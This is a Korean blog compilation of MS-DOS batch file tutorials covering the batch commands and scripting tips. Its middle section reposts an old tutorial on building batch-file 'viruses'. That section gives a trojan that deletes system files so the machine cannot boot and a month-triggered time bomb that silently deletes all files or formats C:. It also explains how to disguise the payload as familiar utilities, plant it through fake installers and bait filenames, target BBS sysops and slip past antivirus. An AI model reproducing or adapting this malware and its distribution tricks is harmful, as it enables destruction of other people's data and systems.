참고 사이트 2 : http://www.dreamy.pe.kr/zbxe/CodeClip/6383

참고 사이트 3 : http://heejeongkang.blogspot.kr/2013/07/batch-file-for-dos-bat-file.html#!/2013/07/batch-file-for-dos-bat-file.html


전체 출처 : 
http://blog.naver.com/PostView.nhn?blogId=ygszzang11&logNo=50152006593

1. 배치파일(BAT) 명령어



출처 : http://blog.naver.com/dude93/25379331 
 

배치 파일 연산자

쉘 스크립트 동의어

%

$

명령어줄 매개변수 접두사

/

-

명령어 옵션 플래그

\

/

디렉토리 패스 구분자

==

=

(같음) 문자열 비교 테스트

!==!

!=

(다름) 문자열 비교 테스트

|

|

파이프

@

set +v

현재 명령어를 에코하지 말 것

*

*

파일명 "와일드 카드"

>

>

파일 재지향(덮어 쓰기)

>>

>>

파일 재지향(덧붙여 쓰기)

<

<

표준입력 재지향

%VAR%

$VAR

환경 변수

REM

#

주석

NOT

!

뒤에 나오는 테스트 부정

NUL

/dev/null

명령어 출력을 없애기 위한 "블랙홀"

ECHO

echo

에코 (Bash 에는 옵션이 많이 있음)

ECHO.

echo

빈 줄 에코

ECHO OFF

set +v

다음에 나오는 명령어를 에코하지 말 것

FOR %%VAR IN (LIST) DO

for var in [list]; do

"for" 루프

:LABEL

없음 (필요치 않음)

라벨

GOTO

없음 (대신 함수를 씀)

스크립트의 다른 곳으로 건너 뜀

PAUSE

sleep

일정 간격을 두고 잠시 대기

CHOICE

case 나 select

메뉴 선택

IF

if

if-test

IF EXIST FILENAME

if [ -e filename ]

파일이 존재하는지 확인

IF !%N==!

if [ -z "$N" ]

변경가능한 매개변수인 "N"이 없다면

CALL

source 나 . (도트 연산자)

다른 스크립트를 "포함"

COMMAND /C

source 나 . (도트 연산자)

다른 스크립트를 "포함"(CALL과 동일)

SET

export

환경 변수를 세트

SHIFT

shift

명령어줄 변수 목록을 왼쪽으로 이동(shift)

SGN

-lt or -gt

(정수) 부호(sign)

ERRORLEVEL

$?

종료 상태

CON

stdin

"콘솔"(표준입력)

PRN

/dev/lp0

(일반적인) 프린터 디바이스

LP1

/dev/lp0

첫번째 프린터 디바이스

COM1

/dev/ttyS0

첫번째 시리얼 포트

 

 

2. 배치 파일 만들기



출처 : http://my.dreamwiz.com/bicter/tech/pwr_02.htm 
 

 BAT파일 만드는 방법. 


일반 도스 명령어와 배치전용 명령어를 사용하여 다음의 3가지 방식을 사용하여 아스키 문장파일 형식으로 만든다. 

  ① COPY명령사용 ....  C:\>COPY CON XXXX.BAT 
  ② 문서편집기 이용 ... 'EDIT', 'SAN' 
  ③ 문서 작성기(WordProcessor) ..  아래한글,훈민정음 등 

 

도스에는 명령어를 일괄적으로 처리하기위한 배치파일이라는 것이 있습니다.
대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.


배치파일이란 ?

컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 작업이이루어진다는것을 알 수 있습니다.  도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 결과를 제공합니다.
따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
이러한 경우 배치 파일은 가장 확실한 해결책입니다.

배치파일의 기능은 순차적이고 반복된 동일한 작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.

그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 않습니다.

저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, Q에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' 형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.

C:\Bats> copy con Timedate.bat
cls
time
date
^Z

   1 File(s) copied

여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 마지막 부분이라는 것을 도스에게 알려주는 코드로 <  Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다.

▶   배치파일 작성 명령어 9인방

배치 파일은 파일 안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 Autoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.


1. CALL 


현재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 원래의 배치파일로  다시 돌아오려고 할 때 사용됩니다.

◇ 사용법 : Call [drive:]\[경로]\<배치파일명>[.BAT]

◇ 예  :  Call c:\bats\sample.bat

어떤 배치 파일을 실행하는 도중에 경로 C:\bats 에 있는  sample.bat 파일을 실행한 다음 다시 원래의 배치파일로 돌아옵니다.


2. CHOICE

배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.

◇ 사용법 :choice [/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]

◇ 옵션

- /C[:]문자열  : 사용자가 선택할 수 있는 키목록을 [] 괄호 내에 ', ' 로 구분하여 출력하고  /C 스위치를 사용하지 않으면 기본적으로  YN이 사용됩니다.

- /N : 프롬프트를 출력하지 않도록 합니다.

- /S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.

- /T[:]기본키, 대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면  자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. 지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.

- 메세지 : 화면에 출력될 메세지를 지정합니다.

◇ 예 : choice /c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
◇ 설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
'다음중에서 하나를 선택하십시오 a, b, C, D[a,b,C,D]? ' 
라는 메세지가 출력됩니다.


3. ECHO

배치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.

◇ 사용법 : echo [on/off] [문자열]

◇ 옵션
- on : 배치 파일 실행중에 그 배치 파일 내의 명령어를 화면에 표시합니다. 
- off : 배치 파일 실행중에 명령어를 화면에 출력하지 않도록 합니다.
- 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
- 없음 : 현재 ECHO 설정 상태를 표시합니다.

◇ 예  :

echo off    
☞ 현재 실행중인 배치 파일 내의 명령어를 화면에  나타나지 않도록 함.
echo
echo 안녕하세요?~
☞ 현재 echo 설정상태를 표시하며  안녕하세요?~ 라는 문구를 화면에 출력합니다.  


4. FOR

지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 실행합니다.

◇ 사용법 

For %%<변수> IN (<집합>) DO <명령> [<옵션>]    ☞ 배치파일용. 
For %<변수> IN (<집합>) DO <명령> <옵션>]         ☞ 순차처리용.


◇ 옵션

- %%<변수>, &<변수>  : 변수로 사용되는 것은 임의의 영문자로 1자만 허용됩니다.  주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % 하나만 사용합니다.

- <집합> : %%<변수>에 대입하고 싶은 값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.

- <명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 지정합니다.

- <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 옵션을 설정합니다.

◇ 예

for  %%f  in  (bak tmp $$$) do del *.%%f /p       ☞ 배치파일의 경우
for %d  in  (read,wh,file) do hlist %d*.*               ☞ 도스 프롬프트에서 실행시

◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f 환경 변수에 대입하여 차례대로
 DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 얻게됨.

두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
 HLIST READ*.*, HLIS TWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.


5. GOTO

배치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 옮깁니다.

◇ 사용법 :Goto <레이블>

◇ 예 :
goto loop
:loop
각종 처리할 내용


◇ 설명  : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 실행시킵니다.

◇ 참고  : 배치 파일에 레이블 표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
              바꿔 맨 앞에 지정해 주어야 합니다.



6. IF

지정한 조건의 판단 결과에 따라서 배치 처리를 진행합니다.

◇ 사용법 :  If [NOT] <조건> <명령>

◇ 옵션

- NOT : 지정한 조건의 반대 조건일 때만 실행합니다.

- 조건

- ERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 되고 <명령> 이 실행됨.

- <문자열1> == <문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 않됩니다.

- EXIST <파일명> : <파일명>으로 지정한 파일(경로포함)이 존재할 때에만 참이 되고    <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 가능합니다.

◇ 예 : 
if errorlevel 2 goto quit
if not %1 ==%2 goto process
if exist d:\work\temp.$$$ del d:\work\temp.$$$


◇ 설명 :
직전에 실행한 명령의 종료 코드가 2 이상일 경우 레이블  QUIT로 이동합니다.

환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 레이블 PROCESS 로 이동합니다.

경로 D:\Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 삭제합니다.


7. PAUSE

배치 파일 실행을 일시 정지합니다.

◇ 사용법 :Pause [문자열]

◇ 옵션

- 문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에  출력됩니다. 만약 PAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를  출력하고 싶다면 'Echo On' 명령을 우선 내려야 합니다.

◇ 예 :   
 echo on
 pause  준비가 되었으면 아무키나 누르세요...


◇ 설명 :  배치 처리 중 pause명령을 만났을때 임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는  ' 준비가 되었으면 아무키나 누르세요...' 라는 메세지가 출력됩니다.

◇ 참고 :  위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
echo on 
echo  준비가 되었으면 아무키나 누르세요...
pause > Null


이런식으로 사용하면 출력하고자 하는 메세지만 화면에 출력됩니다.


8. REM

배치 파일 내에 주석문을 부여하고 싶을 때 사용합니다.

◇ 사용법 :rem [문자열]

◇ 옵션    

- 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.

◇ 예 : REM 이 배치파일은 샘플입니다.

배치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 있습니다.


9. SHIFT

배치 파일에 주어진 파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.

◇ 예
<TEST.BAT>
:loop
if "%1" == " " goto end
echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
shift
goto loop
:end    


위와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을  실행해 보면 shift 명령이 어떤 역할을 하는지 금방 알 수 있습니다..
C:\bats> test.bat A B C D E F G H I J 0 1 2 3 4 5  똑같이 입력하고 실행후 확인.

 

 

  
3. 배치 파일 만들기 예제
 

이 문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 않습니다.

편집없이 그대로 옮깁니다.

 배치파일로 바이러스 제작하기


아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF

ATTRIB C:\*.* -H -R -S  > NUL   <= 이줄은 시스템파일의 숨김,읽기전용,
                   시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다.
                    "> NUL"  은 변형결과가 화면에  안뜨게 하는것이다.
DEL *.SYS < NUL  <= 모든 시스템 파일을 지워버린다.

DEL XXX.YYY  < NUL <=  본인 스스로 해당  파일명 삭제명령, 역시  보이지않게!!
CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                   그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
^Z

여기에 화면에 어떤 메시지를 띄울수도 있을것이다.

ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! "

아주 간단하면서 효과는 확실하다.
현재 이건 극히 초보적인  것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 바꾸어놓는 조작을 할 수 있다. 다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를 던진다면 확실히 물릴것이다.

아래는 간단한 파일 찾기 프로그램이다.
여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 것이니 일단은 자세히 보고 원리를 이해하기 바란다.
이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 있는 것이다.
그러니 각별히 사용에 주의를 요한다.

다음 예제를 살펴보자.

예) 월 표시 프로그램

@ECHO OFF
GETMONTH.COM    <= 월체크 유틸리티
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
^Z

배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. 때문에 배치를 도와줄 유틸리티가 필요하게 되었다. 사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요한거 보면 대동소이 하지만.........
도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 우린 단지 그것을 찾아서 이용만 하면 된다.
위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
외부의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 배치에서도 바꾸어주셔야 한다.

자, 이것을 실행하면 현재 시스템의 월을 표시해준다.
이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, 즉. 시스템상태감식 프로그램이다.
폭탄으로 말하면 뇌관정도로 비유될까?

이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자.
아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.

@echo off
if "%1"=="/?" goto help
cd\
dir %1 /s/p/w/l/o:n
goto end
:help
echo
echo Usage : filefind [filename]
echo
:end

이제 위의 둘을 합친 모습을 보자!

@ECHO OFF

GETMONTH.COM     <= 시스템 "월" 체크 유틸리티  . 파일명 변경해도 됨-체크할것
IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
REM  아래부분은 바이러스 코드이다.
:VIRUS
echo   VIRUS !!  BOMB!!
ECHO Y | DEL *.* > nul              <= 중요한 명령
REM  아래 부분은 파일찾기 프로그램 코드이다.
:FF
if "%1"=="/?" goto help
if "%1"=="" goto copyright
cd\
dir %1 /s/p/w/l/o:n
goto end
echo
echo Usage : filefind [filename]
echo
:end


자 이제 자세히 설명해보자.
임의로 체크를 3월달로 맞추어 놓았다.
자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다.
처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의해 바이러스 코드 부분을 실행한다.
이 바이러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다.
이줄    ECHO Y | DEL *.*  은 모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로 YES로 지정하기 위해 들어간 줄이다.
이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 소잃고 외양간도 못고치는 격이다.

다른 예로,  ECHO Y | FORMAT C:  라고 할수도 있다.
ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
단, 되도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하는 것이 더 효과적이다.
왜냐면, 이런  방식으로 하다간  가끔 시스템이 다운되거나  무한루프에 빠질수도있으니깐.....

만약 자신이 어떤 프로그램이나  게임등에 이런 바이러스 코드를 첨가시켜  전파시키는 방법도 있다.

방법은, 유명게임이나 유명  유틸리티 등에 자신이 직접  인스톨 프로그램을 작성하여 첨가시키는 것이다.

예) 간단한  인스톨 프로그램   ( 프로그램은  C:\PR\PROG.ARJ 로 되어있다고  치자.)

1) 첫번째 필요한 소스

INSTALL.BAT    <= 컴파일시켜 실행파일로 만들면 된다.

@ECHO OFF

ARJ   X  PROG.ARJ   <= COPY 나 다른것으로 바꿔도 된다.
REM     아래 부분부터 숨겨서 침투시키는 내용
ATTRIB  +R +H M.COM    <= 이러면 숨긴다.
COPY M.COM C:\.   <= 루트디렉토리에 숨긴다.
^Z


일단은 디렉토리에 풀릴것이다.


아래것은 저번 시간에 공부한 조건형태의 한 형태이다.
이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 작동하도록 해보자.

2) 두번째 필요한 소스

M.BAT  나 NCD.BAT  <= 컴파일시켜 M.COM or NCD.COM 으로한다.

@ECHO OFF

GETMONTH.COM    <= 시스템 "월" 체크 유틸리티 .  대체 가능
IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이나 NCD 로 위장한다.
IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
:VIRUS
REN  C:\PR\XXX.DAT XXX.COM  <= 예전에 인스톨해놓았던 C:\PR\ 디렉토리에
                                                       숨겨진파일을 다시 꺼내서 실행하게끔 한다.
DEL XXX.COM   <= 자체파괴
DEL M.COM    <= 자체파괴  / 파일명 변경가능하다.
:M
M.EXE     나    NCD.EXE
:END

왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은  COM  -> EXE -> BAT 순서라고 했죠?
NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다.
이거 안쓰는 사람있음 나와보라구해~~
AUTOEXEC.BAT 는 매일 자동실행되는법~~
그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 대개 그냥 넘어가버린다.
실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다.


3) 세번째 소스

세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다.

이방법이 약간 복잡할수있다.
만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다.
그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......

*좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다.


배치파일 제작 바이러스 후기

이렇게 배치파일로 제작된 트로이목마  & 시한폭탄 형 바이러스는 절대로 V3 나 TB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. 즉, 약이 없다.
일일이 에디트로 뜯어보기전에는 모를 것이다. 하지만 전파력이 약하다는것이 단점이라고 하겠다.
그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.

간단한 형태로 SEX.COM  이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다.
파일명 저런데 실행안해볼 사람은 없기 때문이다. 판도라의 상자일 것이다.

사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다.

위에 열거한 각종  테크닉을 이용한다면 강력한 트로이목마형 바이러스를 초보자들도 쉽게 제작할 수 있을 것이다. 기존의 프로그래밍 언어가 상당  수준 까지 오르는데 많이 시간이 필요한반면 배치 프로그래밍은 짧은 시간내에 학습이 가능하고 적용이 쉽다는 장점이있다.

 참고자료

다음은 배치 프로그래밍의 대가인 티모 살미 교수가 정리한 것입니다.
아주 유용한 테크닉들이 들어있습니다.

1.  "@echo off"를 일반적으로 사용하기
====================================
화면에 명령어들이 표시되지 않게 echo off 하고, 그 라인도  화면에 표시 되지 않게 하기 위해서 다음과 같이 하면 된다.
 @echo off
이 것은 MsDos 3.30 이후 버전에서만 작동한다.  이것을  일반적으로 사용하게 하기 위해서 3.30이상의 MsDos를 사용한다면  autoexec.bat 안에 다음과 같이 적어 놓는다.
 set _echo=@
그리고 배치파일에서 다음과 같이 사용한다면 어느 버전의 MsDos버전에서도 작동한다.
 %_echo%echo off

2.  모든 파일을 지우기
=====================
가장 흔하게 질문되는 것(FAQ)중의 하나는 del *.*  을  사용껦 때,"Are you sure (Y/N)?" 라는 확인을 어떻게 하면 나타나지 않게 하는것이다. 다음과 같이 사용한다.
 echo y| del *.*
화면에 나타나는 메세지도 보이지 않게 하려면 다음과 같이 한다.
 echo y| del *.* > nul
이러한 확인 절차를 표시하지 않게 하는 것은 토론의 여지가 많지만,위와 같이 사용할 수 있다.

3.  다중 반복
============
배치파일에서 다중 루프(반복)를 사용하는 것이 가능하다. 다음의 두배치파일을 생각해 보자. 그리고 test.bat을 불러 실행시켜 보자.
  echo off
  rem TEST.BAT
  for %%f in (a b c d e f) do %comspec% /c test2 %%f

  echo off
  rem TEST2.BAT
  for %%g in (1 2 3) do echo %1%%g
아니면 한줄로 다음과 같이 써서 사용할 수도 있다.
  for %%f in(a b c d e f) do %comspec% /c for %%g in (1 2 3)  do echo %%f%%g
 이 두번째 방법의 단점은 echo가  화면에 표시된다는 것이다.

4.  디렉토리가 존재하는지 확인하는 방법
======================================
디렉토리가 있는지 확인하는 것은 가끔 매우 쓸모있는 일이다.  %1의 디렉토리가 없다면 다음 확인은 참이 될것이다.
 if not exist %1\nul if not exiat %1nul echo Directory  %1  does not exist

5.  프로그램을 현디렉토리나 경로에서 사용할 수 있는지 확인하기
=============================================================
배치 프로그램에서 프로그램을 불러서 사용할때, 그 파일에 대한  경로를 써주지 않았을 경우, 그 프로그램이 현재의 디렉토리나  경로에서 사용가능한지 확인할 때 도움이 될 것이다.
  set _found=
  if exist %1 set _found=yes
  for %%d in (%path%) do if exist %%d\%1 set _found=yes
  for %%d in (%path%) do if exist %%d%1 set _found=yes
  if "%_found%"=="yes" goto _continue
  echo %1 is not at path or the current directory
  goto _out
  :_continue
  echo %1 found at path or in the current directory
  :_out

6.  배치파일에서 서브루틴이나 재귀적방법을 사용하기
==================================================
배치파일 안에서 서브루틴을 사용하는 것은 가능하다. 방법은 서브루틴이 실행된  뒤에  돌아가야할  곳을  가르키는  환경변수(예를들면_return)를 설정하는 것이다. 이런 예는 UNPACK.BAT 이나 BOOT.BAT의:_common 과 :_subru 부분에서 찾아 볼 수 있다.
마찬가지로 재귀적인 사용이 가능하다. ("재귀적인  방법"의  의미는 한  배치파일이  자기  자신을  불러  사용하는  것이다.)  이  예는 SAFEDEL.BAT에서 아래의 행을 따라 찾아 보면 된다.
 for %%f in (%1) do call safedel %%f recurse
배치파일의 0번째 인수(%0)는 배치파일 자신을 나타내므로,  safedel은 %0으로 대치 되어 사용할 수도 있다.

7.  매개 인수(parameter)를 대문자로 바꾸기.
=========================================
다음은 배치파일에 사용한 인수 %1 를 대문자로 바꾸어 주는  예제이다. 이는 MsDos는 path를 대문자로 바꾼다는 점을 이용한 것이다. 결과는 upcase_에 저장될 것이고, 원래의 경로가 다시 저장될 것이다.
  set tmp_=%path%
  path=%1
  set upcase_=%path%
  path=%tmp_%

8.  새로운 디렉토리를 경로에 붙이기
==================================
자주 필요한 이 기술은 매우 간단하다. 예를 들어 %1를 경로에  덧붙이려면
 path=%path%;%1
이라고 하면된다.
